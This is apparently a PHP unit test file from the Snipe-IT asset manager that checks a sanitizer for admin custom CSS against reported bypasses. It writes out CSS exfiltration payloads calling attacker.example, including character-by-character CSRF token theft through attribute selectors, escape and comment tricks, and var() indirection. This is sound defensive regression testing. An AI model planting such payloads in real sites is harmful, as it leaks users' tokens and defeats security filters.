A free open source IT asset/license management system
<?php
namespace Tests\Unit\Models;
use App\Models\Setting;
use Tests\TestCase;
class SettingCustomCssTest extends TestCase
{
private function withCustomCss(string $css): string
{
$settings = Setting::getSettings();
$settings->custom_css = $css;
$settings->save();
return $settings->show_custom_css();
}
public function test_plain_css_passes_through_unchanged(): void
{
$out = $this->withCustomCss('.nav > li { color: #ff0000; }');
$this->assertStringContainsString('.nav > li', $out);
$this->assertStringContainsString('#ff0000', $out);
}
public function test_double_quoted_selector_survives(): void
{
$out = $this->withCustomCss('input[name="_token"] { display: none; }');
$this->assertStringContainsString('name="_token"', $out);
}
public function test_import_at_rule_is_stripped(): void
{
$out = $this->withCustomCss('@import url("https://attacker.example/exfil.css");');
$this->assertStringNotContainsString('@import', $out);
$this->assertStringNotContainsString('attacker.example', $out);
}
public function test_import_at_rule_stripped_case_insensitive(): void
{
$out = $this->withCustomCss('@IMPORT "https://attacker.example/exfil.css";');
$this->assertStringNotContainsString('IMPORT', $out);
$this->assertStringNotContainsString('attacker.example', $out);
}
public function test_external_url_is_stripped(): void
{
$out = $this->withCustomCss('body { background: url("https://attacker.example/track.png"); }');
$this->assertStringNotContainsString('attacker.example', $out);
}
public function test_protocol_relative_url_is_stripped(): void
{
$out = $this->withCustomCss('body { background: url(//attacker.example/track.png); }');
$this->assertStringNotContainsString('attacker.example', $out);
}
public function test_data_uri_is_stripped(): void
{
$out = $this->withCustomCss('body { background: url(); }');
$this->assertStringNotContainsString('data:', $out);
}
public function test_relative_url_is_preserved(): void
{
$out = $this->withCustomCss('.brand { background: url("/uploads/logo.png"); }');
$this->assertStringContainsString('/uploads/logo.png', $out);
}
public function test_html_tags_are_stripped(): void
{
$out = $this->withCustomCss('body { color: red; }<script>alert(1)</script>');
// Inner text ("alert(1)") survives strip_tags but is harmless inside
// <style>, since the CSS parser skips unrecognized tokens. What
// matters is that no HTML tag boundary reaches the layout.
$this->assertStringNotContainsString('<script', $out);
$this->assertStringNotContainsString('</script', $out);
$this->assertStringNotContainsString('<', $out);
}
public function test_attribute_selector_csrf_exfil_payload_is_neutered(): void
{
$payload = 'input[name="_token"][value^="a"] { background: url("https://attacker.example/?t=a"); }';
$out = $this->withCustomCss($payload);
$this->assertStringNotContainsString('attacker.example', $out);
}
public function test_empty_custom_css_returns_empty_string(): void
{
$out = $this->withCustomCss('');
$this->assertSame('', $out);
}
// The regex previously required at least one whitespace character
// between @import and the following token. CSS tokenizes @import
// followed by a string, url(), or ident as a valid at-rule with
// no whitespace required, so the bare-quote form below reached
// the browser untouched under the old pattern.
public function test_import_at_rule_without_whitespace_is_stripped(): void
{
$out = $this->withCustomCss('@import"https://attacker.example/exfil.css";');
$this->assertStringNotContainsString('@import', $out);
$this->assertStringNotContainsString('attacker.example', $out);
}
// CSS strips comments during tokenization, so @import/*x*/"url"
// is equivalent to @import "url". The previous \s+ pattern didn't
// treat comment tokens as whitespace, so the payload survived.
public function test_import_at_rule_with_comment_between_is_stripped(): void
{
$out = $this->withCustomCss('@import/*comment*/"https://attacker.example/exfil.css";');
$this->assertStringNotContainsString('@import', $out);
$this->assertStringNotContainsString('attacker.example', $out);
}
// url() values are subject to CSS escape decoding. `\2F` decodes
// to `/`, so `\2F\2F attacker.example` becomes `//attacker.example`
// at browser render time. The scheme regex previously ran against
// the raw pre-decode literal and missed the bypass.
public function test_backslash_hex_escaped_protocol_relative_url_is_stripped(): void
{
$out = $this->withCustomCss('body { background: url("\2F\2F attacker.example/track.png"); }');
$this->assertStringNotContainsString('attacker.example', $out);
}
// Second CSS escape shape: `\X` where X is any non-hex char
// produces X literally. `\/\/attacker.example` decodes to
// `//attacker.example`. Same class of bypass, different escape form.
public function test_backslash_char_escaped_protocol_relative_url_is_stripped(): void
{
$out = $this->withCustomCss('body { background: url("\/\/attacker.example/track.png"); }');
$this->assertStringNotContainsString('attacker.example', $out);
}
// GHSA-gc22-r333-8q45 regression coverage. The reporter's PoC:
// CSS lets you write hex escapes inside identifiers, so
// `@\69 mport` (where `\69 ` is the hex escape for 0x69 = 'i')
// parses as `@import` in a browser but did not match the
// source-text regex looking for the literal `@import`. The fix
// refuses any CSS containing a backslash outright, matching the
// posture the url() guard was already using for its own escape
// bypass class.
public function test_import_at_rule_with_hex_escaped_ident_is_stripped(): void
{
$out = $this->withCustomCss('@\69 mport"https://attacker.example/exfil.css";');
$this->assertStringNotContainsString('attacker.example', $out);
$this->assertStringNotContainsString('mport', $out);
}
// Full six-digit hex escape variant of the same bypass class.
// `\000069` also decodes to 'i'. Rejecting all backslashes covers
// every hex escape length CSS accepts.
public function test_import_at_rule_with_full_hex_escaped_ident_is_stripped(): void
{
$out = $this->withCustomCss('@\000069mport"https://attacker.example/exfil.css";');
$this->assertStringNotContainsString('attacker.example', $out);
$this->assertStringNotContainsString('mport', $out);
}
// CSS strips comments during tokenization at every position except
// inside strings, so `@im/*c*/port` parses as `@import` even though
// no version of the source-text regex could ever match that literal.
// The fix strips comments before running the regex.
public function test_import_at_rule_with_comment_inside_keyword_is_stripped(): void
{
$out = $this->withCustomCss('@im/*c*/port "https://attacker.example/exfil.css";');
$this->assertStringNotContainsString('attacker.example', $out);
$this->assertStringNotContainsString('@import', $out);
}
// Positive control: legitimate CSS with a comment should still
// render (comments are stripped before sanitizing, but the
// surrounding CSS survives).
public function test_legitimate_css_with_comments_is_preserved(): void
{
$out = $this->withCustomCss("/* branding header */\nbody { color: #ff0000; }\n/* end */");
$this->assertStringContainsString('body', $out);
$this->assertStringContainsString('#ff0000', $out);
}
// Positive control: any CSS containing a backslash is rejected
// wholesale, matching the docstring on the new guard. This is a
// trade-off flagged in the fix comment: legitimate CSS with escape
// sequences (rare in branding) is refused, and the operator sees
// an empty output rather than partially-sanitized input.
public function test_css_with_stray_backslash_is_rejected(): void
{
$out = $this->withCustomCss('body { content: "hi\\A world"; }');
$this->assertSame('', $out);
}
// GHSA-v279-2q6w-g8j4 regression coverage. The old denylist
// required `//` after the scheme (matching only `http://`,
// `https://`, or `//`). `http:host:port/path` shapes carry a
// scheme with no authority slashes, so they slipped past. A
// browser still resolves this to a cross-origin fetch when the
// page scheme differs from the URL scheme (an https page loading
// `http:evil` becomes a cross-origin GET). Fix converts the check
// to a scheme allowlist that rejects anything starting with a
// URI scheme or `//`.
public function test_scheme_only_url_without_authority_slashes_is_stripped(): void
{
$out = $this->withCustomCss('body { background: url(http:127.0.0.1:9931/bg); }');
$this->assertStringNotContainsString('127.0.0.1', $out);
$this->assertStringNotContainsString('9931', $out);
}
// Same class, https variant.
public function test_scheme_only_https_url_without_authority_slashes_is_stripped(): void
{
$out = $this->withCustomCss('body { background: url(https:attacker.example:443/bg); }');
$this->assertStringNotContainsString('attacker.example', $out);
}
// Other schemes the old denylist didn't enumerate. The allowlist
// rejects every scheme uniformly, so `mailto:`, `ftp:`, `file:`,
// and any future custom scheme (`chrome:`, `about:`, etc.) all
// get rejected without needing explicit enumeration.
public function test_arbitrary_scheme_urls_are_stripped(): void
{
foreach (['mailto:[email protected]', 'ftp://example.com/foo', 'file:///etc/passwd', 'chrome://settings'] as $scheme) {
$out = $this->withCustomCss('body { background: url('.$scheme.'); }');
$this->assertStringNotContainsString($scheme, $out, "Expected `{$scheme}` to be stripped from url() value.");
}
}
// Positive control: legitimate same-origin relative URLs continue
// to render. Branding assets uploaded through the settings UI
// land under /uploads/, so the primary legitimate reference shape
// is a root-relative path starting with a single `/`.
public function test_root_relative_upload_path_is_preserved(): void
{
$out = $this->withCustomCss('body { background: url(/uploads/logos/branding.png); }');
$this->assertStringContainsString('/uploads/logos/branding.png', $out);
}
// Positive control: relative paths (no leading slash) also pass,
// for CSS that references sibling paths relative to its own base
// URL. Same-origin by construction.
public function test_relative_path_is_preserved(): void
{
$out = $this->withCustomCss('body { background: url(images/logo.png); }');
$this->assertStringContainsString('images/logo.png', $out);
}
// Regression for the HusseinTahaSEC report (incomplete fix of
// GHSA-v279-2q6w-g8j4). The url() allowlist tightening missed
// the sibling CSS image-loading primitives image(), image-set(),
// cross-fade(), and the -webkit- variants. All of them reach the
// same external-resource fetch primitive the url() allowlist
// exists to gate, so a superuser could plant
// `input[name="_token"][value^="a"] { background-image: image-set("https://attacker/a"); }`
// and exfiltrate CSRF tokens character-by-character via
// attribute-selector rules. Fix strips every non-url()
// image-loading function call entirely, since legitimate
// custom-branding CSS uses url() for logos.
public function test_image_set_function_is_stripped(): void
{
$out = $this->withCustomCss('body { background-image: image-set("https://attacker.example/a" 1x, "https://attacker.example/b" 2x); }');
$this->assertStringNotContainsString('image-set', $out);
$this->assertStringNotContainsString('attacker.example', $out);
}
public function test_image_function_is_stripped(): void
{
$out = $this->withCustomCss('body { background-image: image("https://attacker.example/exfil"); }');
$this->assertStringNotContainsString('image(', $out);
$this->assertStringNotContainsString('attacker.example', $out);
}
public function test_webkit_image_set_function_is_stripped(): void
{
// -webkit-image-set is the vendor-prefixed sibling of image-set
// and reaches the same fetch primitive. Older Safari / Chrome
// honor it. Must be stripped alongside the unprefixed form.
$out = $this->withCustomCss('body { background: -webkit-image-set(url("https://attacker.example/a") 1x); }');
$this->assertStringNotContainsString('-webkit-image-set', $out);
$this->assertStringNotContainsString('attacker.example', $out);
}
public function test_cross_fade_function_is_stripped(): void
{
// cross-fade can take image() or image-set() as children, so
// leaving it unstripped would let an attacker nest the real
// fetch call inside a cross-fade wrapper and bypass stripping
// of the inner. The outer-function strip handles the whole
// function call via balanced-paren walking.
$out = $this->withCustomCss('body { background-image: cross-fade(url("https://attacker.example/a") 50%, url("https://attacker.example/b") 50%); }');
$this->assertStringNotContainsString('cross-fade', $out);
$this->assertStringNotContainsString('attacker.example', $out);
}
public function test_attribute_selector_image_set_csrf_exfil_payload_is_neutered(): void
{
// Reporter's PoC verbatim. Simulated attribute-based token
// exfil shape, demonstrates image-set() stripped before any
// url inside gets a chance to run through the allowlist.
$out = $this->withCustomCss(
'input[name="_token"][value^="a"] { background-image: image-set("https://attacker.example/c?a"); }'
.'input[name="_token"][value^="b"] { background-image: image-set("https://attacker.example/c?b"); }'
.'* { background-image: image("https://attacker.example/ping"); }'
);
$this->assertStringNotContainsString('attacker.example', $out);
$this->assertStringNotContainsString('image-set', $out);
$this->assertStringNotContainsString('image(', $out);
}
public function test_var_indirection_through_custom_property_is_blocked(): void
{
/*
* GHSA-gmvp-6qh3-5xm6: Reporter's PoC. `url()` scheme check sees
* `var(--b)` which has no scheme literal, but the browser resolves
* the variable at computed-value time and fetches the stashed URL.
*/
$out = $this->withCustomCss(':root{--b:"https://attacker.example/p"}body{background:url(var(--b))}');
$this->assertStringNotContainsString('attacker.example', $out);
$this->assertStringNotContainsString('--b', $out);
$this->assertStringNotContainsString('var(', $out);
}
public function test_custom_property_declaration_alone_is_blocked(): void
{
/*
* A planter could override one of Snipe-IT's own :root variables
* to redirect any builtin rule that reads it, so refuse the
* declaration shape outright even without a visible url().
*/
$out = $this->withCustomCss(':root { --primary-color: red; } .nav { color: black; }');
$this->assertSame('', $out);
}
public function test_reading_an_existing_variable_still_works(): void
{
/*
* Admin branding CSS legitimately reads existing Snipe-IT
* variables (e.g. to recolor nav elements). The fix must not
* break that use case.
*/
$out = $this->withCustomCss('.nav > li { color: var(--primary-color); }');
$this->assertStringContainsString('var(--primary-color)', $out);
}
public function test_var_inside_url_argument_is_rejected_defense_in_depth(): void
{
/*
* Defense-in-depth check inside the url() callback. Exercise it
* directly by feeding a CSS payload that uses var() only inside a
* url() argument (no top-level --* declaration to trip the earlier
* guard). The url() must emit empty while the surrounding rule
* still carries through.
*/
$out = $this->withCustomCss('body { background: url(var(--existing-color)); color: red; }');
$this->assertStringNotContainsString('var(', $out);
$this->assertStringContainsString('color: red', $out);
}
public function test_balanced_paren_walker_handles_nested_url_inside_image_set(): void
{
// image-set can wrap url() calls as children. The stripper
// must not stop at the inner close-paren of the nested url(),
// which a naive non-balanced regex would do. Balanced-paren
// walking in stripImageLoadingFunctions handles this.
$out = $this->withCustomCss('body { background: image-set(url("https://attacker.example/a") 1x, url("https://attacker.example/b") 2x); color: red; }');
$this->assertStringNotContainsString('attacker.example', $out);
$this->assertStringNotContainsString('image-set', $out);
// Non-stripped CSS after the function should still be present
// and well-formed.
$this->assertStringContainsString('color: red', $out);
}
}